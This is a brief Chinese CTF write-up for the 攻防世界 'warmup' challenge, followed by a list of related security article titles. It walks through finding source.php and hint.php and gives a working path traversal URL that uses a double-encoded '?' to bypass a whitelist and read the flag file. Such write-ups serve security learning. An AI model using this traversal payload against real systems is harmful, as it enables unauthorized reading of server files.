原题
解题思路
只有一张图片，就查看源代码，有一个source.php。
查看source.php，白名单中还有一个hint.php。
hint.php告诉我们flag的位置ffffllllaaaagggg
但是直接跳转是没用的，构造payload。
http://61.147.171.105:55725/source.php?file=source.php%253f/../../../../../../ffffllllaaaagggg
攻防世界-warmup
mysmartwish2023-08-20 23:17
原题
相关推荐
零零信安14 天前
零零信安荣登数世咨询《新质·数字安全专精百强（2026）》暗网情报领域，彰显专业实力与创新引领憧憬成为web高手14 天前
l33t-hosterHackTwoHub14 天前
Sqli-Scanner SQL注入SKILL自动化挖掘SQL注入，零依赖自动化SQL注入挖掘，赏金猎人爱网络爱Linux14 天前
网络安全与渗透测试实用工具大全xsc-xyc14 天前
用 Tailscale + Syncthing 实现手机、电脑与 NAS 的跨网络文件同步持敬chijing14 天前
Web渗透之SQL注入-常用sql语句Chengbei1114 天前
AISec真正拟人化全自动渗透工具！支持浏览器交互全自动化挖掘，SQL注入、XSS、越权等。X7x514 天前
深度拆解网络安全“闭环”之王——APPDRR模型Inhand陈工14 天前
污水泵站PLC数据上云实战：西门子PLC + 映翰通IG502 + DM平台全流程X7x514 天前
一文讲透PADIMEE模型